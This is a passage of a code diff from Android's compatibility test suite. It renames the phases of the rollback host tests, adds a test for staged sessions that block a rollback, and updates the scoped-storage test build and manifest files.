         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
 
         long[] versions = retrieveApkInApexVersion();
@@ -431,12 +427,11 @@
 
         // Note: The app is not rolled back until after the rollback is staged
         // and the device has been rebooted.
-        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
     }
 
     @Test
-    public void testApexOnlySystemVersionStagedRollback_Phase3() throws Exception {
+    public void testApexOnlySystemVersionStagedRollback_Phase3_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
     }
 
@@ -445,7 +440,7 @@
      * Install first version phase.
      */
     @Test
-    public void testApexAndApkStagedRollback_Phase1() throws Exception {
+    public void testApexAndApkStagedRollback_Phase1_InstallFirst() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
 
@@ -457,7 +452,7 @@
      * Enable rollback phase.
      */
     @Test
-    public void testApexAndApkStagedRollback_Phase2() throws Exception {
+    public void testApexAndApkStagedRollback_Phase2_InstallSecond() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
 
@@ -472,7 +467,7 @@
      * Commit rollback phase.
      */
     @Test
-    public void testApexAndApkStagedRollback_Phase3() throws Exception {
+    public void testApexAndApkStagedRollback_Phase3_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
         InstallUtils.processUserData(TestApp.A);
@@ -507,7 +502,6 @@
 
         // Note: The app is not rolled back until after the rollback is staged
         // and the device has been rebooted.
-        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
     }
@@ -517,7 +511,7 @@
      * Confirm rollback phase.
      */
     @Test
-    public void testApexAndApkStagedRollback_Phase4() throws Exception {
+    public void testApexAndApkStagedRollback_Phase4_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
         InstallUtils.processUserData(TestApp.A);
@@ -548,7 +542,7 @@
      * Enable rollback phase.
      */
     @Test
-    public void testApexRollbackExpiration_Phase1() throws Exception {
+    public void testApexRollbackExpiration_Phase1_InstallFirst() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
 
         Install.single(TestApp.Apex2).setStaged().setEnableRollback().commit();
@@ -559,7 +553,7 @@
      * Update apex phase.
      */
     @Test
-    public void testApexRollbackExpiration_Phase2() throws Exception {
+    public void testApexRollbackExpiration_Phase2_InstallSecond() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
         assertThat(RollbackUtils.getAvailableRollback(SHIM_APEX_PACKAGE_NAME)).isNotNull();
         Install.single(TestApp.Apex3).setStaged().commit();
@@ -570,7 +564,7 @@
      * Confirm expiration phase.
      */
     @Test
-    public void testApexRollbackExpiration_Phase3() throws Exception {
+    public void testApexRollbackExpiration_Phase3_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
         assertThat(RollbackUtils.getAvailableRollback(SHIM_APEX_PACKAGE_NAME)).isNull();
     }
@@ -579,7 +573,7 @@
      * Test rollback with key downgrade for apex only
      */
     @Test
-    public void testApexKeyRotationStagedRollback_Phase1() throws Exception {
+    public void testApexKeyRotationStagedRollback_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
 
         // keep the versions of the apks in shim apex for verifying in phase2
@@ -589,7 +583,7 @@
     }
 
     @Test
-    public void testApexKeyRotationStagedRollback_Phase2() throws Exception {
+    public void testApexKeyRotationStagedRollback_Phase2_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
         RollbackInfo available = RollbackUtils.getAvailableRollback(SHIM_APEX_PACKAGE_NAME);
         long[] versions = retrieveApkInApexVersion();
@@ -619,23 +613,22 @@
 
         // Note: The app is not rolled back until after the rollback is staged
         // and the device has been rebooted.
-        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
     }
 
     @Test
-    public void testApexKeyRotationStagedRollback_Phase3() throws Exception {
+    public void testApexKeyRotationStagedRollback_Phase3_Confirm() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
     }
 
     @Test
-    public void testApkRollbackByAnotherInstaller_Phase1() throws Exception {
+    public void testApkRollbackByAnotherInstaller_Phase1_FirstInstaller() throws Exception {
         Install.single(TestApp.A1).commit();
         Install.single(TestApp.A2).setEnableRollback().commit();
     }
 
     @Test
-    public void testFingerprintChange_Phase1() throws Exception {
+    public void testFingerprintChange_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
         assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
 
@@ -646,10 +639,64 @@
     }
 
     @Test
-    public void testFingerprintChange_Phase2() throws Exception {
+    public void testFingerprintChange_Phase2_Confirm() throws Exception {
         assertThat(RollbackUtils.getRollbackManager().getAvailableRollbacks()).isEmpty();
     }
 
+    @Test
+    public void testRollbackFailsBlockingSessions_Phase1_Install() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        Install.single(TestApp.A1).commit();
+        Install.single(TestApp.A2).setStaged().setEnableRollback().commit();
+    }
+
+    @Test
+    public void testRollbackFailsBlockingSessions_Phase2_RollBack() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+        InstallUtils.processUserData(TestApp.A);
+        // Stage session for package A to check if it can block rollback of A
+        final int sessionIdA = Install.single(TestApp.A3).setStaged().setEnableRollback().commit();
+
+        // Stage another package not related to the rollback
+        Install.single(TestApp.B1).commit();
+        Install.single(TestApp.B2).setStaged().setEnableRollback().commit();
+
+        final RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.A);
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
+        final RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
+        assertThat(committed).hasRollbackId(available.getRollbackId());
+        assertThat(committed).isStaged();
+        assertThat(committed).packagesContainsExactly(
+                Rollback.from(TestApp.A2).to(TestApp.A1));
+        assertThat(committed).causePackagesContainsExactly(TestApp.A2);
+        assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+
+        // Assert that blocking staged session is failed
+        final PackageInstaller.SessionInfo sessionA = InstallUtils.getStagedSessionInfo(sessionIdA);
+        assertThat(sessionA).isNotNull();
+        assertThat(sessionA.isStagedSessionFailed()).isTrue();
+
+        // Note: The app is not rolled back until after the rollback is staged
+        // and the device has been rebooted.
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+    }
+
+    @Test
+    public void testRollbackFailsBlockingSessions_Phase3_Confirm() throws Exception {
+        // Process TestApp.A
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        InstallUtils.processUserData(TestApp.A);
+        final RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
+        assertThat(committed).isStaged();
+        assertThat(committed).packagesContainsExactly(
+                Rollback.from(TestApp.A2).to(TestApp.A1));
+        assertThat(committed).causePackagesContainsExactly(TestApp.A2);
+        assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+
+        // Assert that unrelated package were not effected
+        assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(2);
+    }
+
     /**
      * Record the versions of Apk in shim apex and PrivApk in shim apex
      * in the order into {@link #APK_VERSION_FILENAME}.
diff --git a/hostsidetests/rollback/app2/AndroidManifest.xml b/hostsidetests/rollback/app2/AndroidManifest.xml
index be6d483..7e90f85 100644
--- a/hostsidetests/rollback/app2/AndroidManifest.xml
+++ b/hostsidetests/rollback/app2/AndroidManifest.xml
@@ -18,8 +18,6 @@
           package="com.android.cts.rollback.host.app2" >
 
     <application>
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java b/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java
index 8f8bfac..f3e0468 100644
--- a/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java
+++ b/hostsidetests/rollback/app2/src/com/android/cts/rollback/host/app2/HostTestHelper.java
@@ -61,7 +61,7 @@
     }
 
     @Test
-    public void testApkRollbackByAnotherInstaller_Phase2() throws Exception {
+    public void testApkRollbackByAnotherInstaller_Phase2_SecondInstaller() throws Exception {
         RollbackInfo rollbackA = RollbackUtils.waitForAvailableRollback(TestApp.A);
         assertThat(rollbackA).packagesContainsExactly(Rollback.from(TestApp.A2).to(TestApp.A1));
         RollbackUtils.rollback(rollbackA.getRollbackId());
diff --git a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
index 9ca1f63..7191353 100644
--- a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
+++ b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
@@ -90,11 +90,11 @@
      */
     @Test
     public void testApkOnlyStagedRollback() throws Exception {
-        run("testApkOnlyStagedRollback_Phase1");
+        run("testApkOnlyStagedRollback_Phase1_Install");
         getDevice().reboot();
-        run("testApkOnlyStagedRollback_Phase2");
+        run("testApkOnlyStagedRollback_Phase2_RollBack");
         getDevice().reboot();
-        run("testApkOnlyStagedRollback_Phase3");
+        run("testApkOnlyStagedRollback_Phase3_Confirm");
     }
 
     /**
@@ -105,11 +105,11 @@
         assumeTrue("Device does not support file-system checkpoint",
                 mHostUtils.isCheckpointSupported());
 
-        run("testApkOnlyMultipleStagedRollback_Phase1");
+        run("testApkOnlyMultipleStagedRollback_Phase1_Install");
         getDevice().reboot();
-        run("testApkOnlyMultipleStagedRollback_Phase2");
+        run("testApkOnlyMultipleStagedRollback_Phase2_RollBack");
         getDevice().reboot();
-        run("testApkOnlyMultipleStagedRollback_Phase3");
+        run("testApkOnlyMultipleStagedRollback_Phase3_Confirm");
     }
 
     /**
@@ -120,11 +120,11 @@
         assumeTrue("Device does not support file-system checkpoint",
                 mHostUtils.isCheckpointSupported());
 
-        run("testApkOnlyMultipleStagedPartialRollback_Phase1");
+        run("testApkOnlyMultipleStagedPartialRollback_Phase1_Install");
         getDevice().reboot();
-        run("testApkOnlyMultipleStagedPartialRollback_Phase2");
+        run("testApkOnlyMultipleStagedPartialRollback_Phase2_RollBack");
         getDevice().reboot();
-        run("testApkOnlyMultipleStagedPartialRollback_Phase3");
+        run("testApkOnlyMultipleStagedPartialRollback_Phase3_Confirm");
     }
 
     /**
@@ -134,13 +134,13 @@
     public void testApexOnlyStagedRollback() throws Exception {
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
-        run("testApexOnlyStagedRollback_Phase1");
+        run("testApexOnlyStagedRollback_Phase1_InstallFirst");
         getDevice().reboot();
-        run("testApexOnlyStagedRollback_Phase2");
+        run("testApexOnlyStagedRollback_Phase2_InstallSecond");
         getDevice().reboot();
-        run("testApexOnlyStagedRollback_Phase3");
+        run("testApexOnlyStagedRollback_Phase3_RollBack");
         getDevice().reboot();
-        run("testApexOnlyStagedRollback_Phase4");
+        run("testApexOnlyStagedRollback_Phase4_Confirm");
     }
 
     /**
@@ -150,11 +150,11 @@
     public void testApexOnlySystemVersionStagedRollback() throws Exception {
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
-        run("testApexOnlySystemVersionStagedRollback_Phase1");
+        run("testApexOnlySystemVersionStagedRollback_Phase1_Install");
         getDevice().reboot();
-        run("testApexOnlySystemVersionStagedRollback_Phase2");
+        run("testApexOnlySystemVersionStagedRollback_Phase2_RollBack");
         getDevice().reboot();
-        run("testApexOnlySystemVersionStagedRollback_Phase3");
+        run("testApexOnlySystemVersionStagedRollback_Phase3_Confirm");
     }
 
     /**
@@ -165,13 +165,13 @@
         assumeSystemUser();
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
-        run("testApexAndApkStagedRollback_Phase1");
+        run("testApexAndApkStagedRollback_Phase1_InstallFirst");
         getDevice().reboot();
-        run("testApexAndApkStagedRollback_Phase2");
+        run("testApexAndApkStagedRollback_Phase2_InstallSecond");
         getDevice().reboot();
-        run("testApexAndApkStagedRollback_Phase3");
+        run("testApexAndApkStagedRollback_Phase3_RollBack");
         getDevice().reboot();
-        run("testApexAndApkStagedRollback_Phase4");
+        run("testApexAndApkStagedRollback_Phase4_Confirm");
     }
 
     private void assumeSystemUser() throws Exception {
@@ -187,11 +187,11 @@
     public void testApexRollbackExpiration() throws Exception {
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
-        run("testApexRollbackExpiration_Phase1");
+        run("testApexRollbackExpiration_Phase1_InstallFirst");
         getDevice().reboot();
-        run("testApexRollbackExpiration_Phase2");
+        run("testApexRollbackExpiration_Phase2_InstallSecond");
         getDevice().reboot();
-        run("testApexRollbackExpiration_Phase3");
+        run("testApexRollbackExpiration_Phase3_Confirm");
     }
 
     /**
@@ -201,11 +201,11 @@
     public void testApexKeyRotationStagedRollback() throws Exception {
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
-        run("testApexKeyRotationStagedRollback_Phase1");
+        run("testApexKeyRotationStagedRollback_Phase1_Install");
         getDevice().reboot();
-        run("testApexKeyRotationStagedRollback_Phase2");
+        run("testApexKeyRotationStagedRollback_Phase2_RollBack");
         getDevice().reboot();
-        run("testApexKeyRotationStagedRollback_Phase3");
+        run("testApexKeyRotationStagedRollback_Phase3_Confirm");
     }
 
     /**
@@ -213,8 +213,23 @@
      */
     @Test
     public void testApkRollbackByAnotherInstaller() throws Exception {
-        run("testApkRollbackByAnotherInstaller_Phase1");
-        run2("testApkRollbackByAnotherInstaller_Phase2");
+        run("testApkRollbackByAnotherInstaller_Phase1_FirstInstaller");
+        run2("testApkRollbackByAnotherInstaller_Phase2_SecondInstaller");
+    }
+
+    /**
+     * Tests that existing staged sessions are failed when rollback is committed
+     */
+    @Test
+    public void testRollbackFailsBlockingSessions() throws Exception {
+        assumeTrue("Device does not support file-system checkpoint",
+                mHostUtils.isCheckpointSupported());
+
+        run("testRollbackFailsBlockingSessions_Phase1_Install");
+        getDevice().reboot();
+        run("testRollbackFailsBlockingSessions_Phase2_RollBack");
+        getDevice().reboot();
+        run("testRollbackFailsBlockingSessions_Phase3_Confirm");
     }
 
     /**
@@ -227,9 +242,9 @@
         try {
             getDevice().executeShellCommand("setprop persist.pm.mock-upgrade true");
 
-            run("testFingerprintChange_Phase1");
+            run("testFingerprintChange_Phase1_Install");
             getDevice().reboot();
-            run("testFingerprintChange_Phase2");
+            run("testFingerprintChange_Phase2_Confirm");
         } finally {
             getDevice().executeShellCommand("setprop persist.pm.mock-upgrade false");
         }
diff --git a/hostsidetests/sample/Android.bp b/hostsidetests/sample/Android.bp
index f34bb09..781babd 100644
--- a/hostsidetests/sample/Android.bp
+++ b/hostsidetests/sample/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsSampleHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/sample/app/Android.bp b/hostsidetests/sample/app/Android.bp
index 536ce24..2597717 100644
--- a/hostsidetests/sample/app/Android.bp
+++ b/hostsidetests/sample/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSampleDeviceApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/sample/app/AndroidManifest.xml b/hostsidetests/sample/app/AndroidManifest.xml
index dfacf25..f1e8374 100755
--- a/hostsidetests/sample/app/AndroidManifest.xml
+++ b/hostsidetests/sample/app/AndroidManifest.xml
@@ -16,16 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.sample.app">
+     package="android.sample.app">
 
     <application>
-        <activity android:name=".SampleDeviceActivity" >
+        <activity android:name=".SampleDeviceActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/sample/app2/Android.bp b/hostsidetests/sample/app2/Android.bp
index 0aaff4c..1fc25ed 100644
--- a/hostsidetests/sample/app2/Android.bp
+++ b/hostsidetests/sample/app2/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSampleDeviceApp2",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index 7406fcb..8a1cf58 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -12,16 +12,14 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsScopedStorageTestAppA",
     manifest: "ScopedStorageTestHelper/TestAppA.xml",
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppB",
@@ -29,6 +27,8 @@
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppC",
@@ -36,6 +36,8 @@
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppCLegacy",
@@ -44,6 +46,46 @@
     sdk_version: "test_current",
     target_sdk_version: "28",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts", "cts"],
+}
+android_test_helper_app {
+    name: "CtsScopedStorageTestAppDLegacy",
+    manifest: "ScopedStorageTestHelper/TestAppDLegacy.xml",
+    static_libs: ["cts-scopedstorage-lib"],
+    sdk_version: "test_current",
+    target_sdk_version: "28",
+    srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts", "cts"],
+}
+
+android_test_helper_app {
+    name: "CtsScopedStorageTestAppFileManager",
+    manifest: "ScopedStorageTestHelper/TestAppFileManager.xml",
+    static_libs: ["cts-scopedstorage-lib"],
+    sdk_version: "test_current",
+    srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts", "cts"],
+}
+
+android_test_helper_app {
+    name: "CtsLegacyStorageTestAppRequestLegacy",
+    manifest: "legacy/AndroidManifest.xml",
+    static_libs: ["cts-scopedstorage-lib"],
+    sdk_version: "test_current",
+    target_sdk_version: "29",
+    srcs: ["legacy/src/**/*.java"],
+}
+
+android_test_helper_app {
+    name: "CtsLegacyStorageTestAppPreserveLegacy",
+    manifest: "legacy/preserveLegacy.xml",
+    static_libs: ["cts-scopedstorage-lib"],
+    sdk_version: "test_current",
+    target_sdk_version: "30",
+    srcs: ["legacy/src/**/*.java"],
 }
 
 android_test {
@@ -76,17 +118,52 @@
 }
 
 java_test_host {
+    name: "CtsScopedStorageCoreHostTest",
+    srcs:  [
+        "host/src/android/scopedstorage/cts/host/ScopedStorageCoreHostTest.java",
+        "host/src/android/scopedstorage/cts/host/BaseHostTestCase.java"
+    ],
+    libs: ["cts-tradefed", "tradefed", "testng"],
+    test_suites: ["general-tests", "mts-mediaprovider", "cts"],
+    test_config: "CoreTest.xml",
+}
+
+java_test_host {
     name: "CtsScopedStorageHostTest",
     srcs: ["host/src/**/*.java"],
-    libs: ["tradefed", "testng"],
+    libs: ["cts-tradefed", "tradefed", "testng"],
     test_suites: ["general-tests", "mts-mediaprovider", "cts"],
     test_config: "AndroidTest.xml",
+    data: [
+        ":CtsLegacyStorageTestAppRequestLegacy",
+        ":CtsLegacyStorageTestAppPreserveLegacy",
+    ],
 }
 
 java_test_host {
     name: "CtsScopedStoragePublicVolumeHostTest",
     srcs: ["host/src/**/*.java"],
-    libs: ["tradefed", "testng"],
+    libs: ["cts-tradefed", "tradefed", "testng"],
     test_suites: ["general-tests", "mts"],
     test_config: "PublicVolumeTest.xml",
 }
+
+android_test {
+    name: "CtsScopedStorageDeviceOnlyTest",
+    manifest: "device/AndroidManifest.xml",
+    test_config: "device/AndroidTest.xml",
+    srcs: ["device/**/*.java"],
+    static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"],
+    compile_multilib: "both",
+    test_suites: ["device-tests", "mts", "cts"],
+    sdk_version: "test_current",
+    libs: ["android.test.base", "android.test.mock", "android.test.runner",],
+    java_resources: [
+        ":CtsScopedStorageTestAppA",
+        ":CtsScopedStorageTestAppB",
+        ":CtsScopedStorageTestAppC",
+        ":CtsScopedStorageTestAppCLegacy",
+        ":CtsScopedStorageTestAppDLegacy",
+        ":CtsScopedStorageTestAppFileManager",
+    ]
+}
diff --git a/hostsidetests/scopedstorage/AndroidManifest.xml b/hostsidetests/scopedstorage/AndroidManifest.xml
index 0394f4b..da158c3 100644
--- a/hostsidetests/scopedstorage/AndroidManifest.xml
+++ b/hostsidetests/scopedstorage/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
     <application>
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/hostsidetests/scopedstorage/AndroidTest.xml b/hostsidetests/scopedstorage/AndroidTest.xml
index bbdf653..8749087 100644
--- a/hostsidetests/scopedstorage/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/AndroidTest.xml
@@ -24,9 +24,13 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="ScopedStorageTest.apk" />
         <option name="test-file-name" value="LegacyStorageTest.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="class" value="android.scopedstorage.cts.host.LegacyStorageHostTest" />
+        <option name="class" value="android.scopedstorage.cts.host.PreserveLegacyStorageHostTest" />
         <option name="class" value="android.scopedstorage.cts.host.ScopedStorageHostTest" />
         <option name="class" value="android.scopedstorage.cts.host.ScopedStorageInstantAppHostTest" />
     </test>
diff --git a/hostsidetests/scopedstorage/CoreTest.xml b/hostsidetests/scopedstorage/CoreTest.xml
new file mode 100644
index 0000000..5b725e1
--- /dev/null
+++ b/hostsidetests/scopedstorage/CoreTest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Scoped storage and legacy tests that are marked as core for MediaProvider module">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="ScopedStorageTest.apk" />
+        <option name="test-file-name" value="LegacyStorageTest.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="class" value="android.scopedstorage.cts.host.ScopedStorageCoreHostTest" />
+    </test>
+
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+        <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+    </object>
+</configuration>
diff --git a/hostsidetests/scopedstorage/PublicVolumeTest.xml b/hostsidetests/scopedstorage/PublicVolumeTest.xml
index 8bd3361..1dc4017 100644
--- a/hostsidetests/scopedstorage/PublicVolumeTest.xml
+++ b/hostsidetests/scopedstorage/PublicVolumeTest.xml
@@ -19,9 +19,13 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="ScopedStorageTest.apk" />
         <option name="test-file-name" value="LegacyStorageTest.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="class" value="android.scopedstorage.cts.host.PublicVolumeHostTest" />
+        <option name="class" value="android.scopedstorage.cts.host.PublicVolumeCoreHostTest" />
         <option name="class" value="android.scopedstorage.cts.host.PublicVolumeLegacyHostTest" />
     </test>
 
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA.xml
index 1747eb6..d2a2882 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA.xml
@@ -15,21 +15,29 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.scopedstorage.cts.testapp.A"
+    package="android.scopedstorage.cts.testapp.A.withres"
     android:versionCode="1"
     android:versionName="1.0" >
 
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
 
     <application android:label="TestAppA">
-        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.DEFAULT"/>
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.A.withres"
+            android:exported="false"
+            android:grantUriPermissions="true">
+          <meta-data
+              android:name="android.support.FILE_PROVIDER_PATHS"
+              android:resource="@xml/file_paths" />
+        </provider>
     </application>
 </manifest>
-
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB.xml
index cf9a327..7badc29 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB.xml
@@ -15,21 +15,27 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.scopedstorage.cts.testapp.B"
+    package="android.scopedstorage.cts.testapp.B.noperms"
     android:versionCode="1"
     android:versionName="1.0" >
 
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-
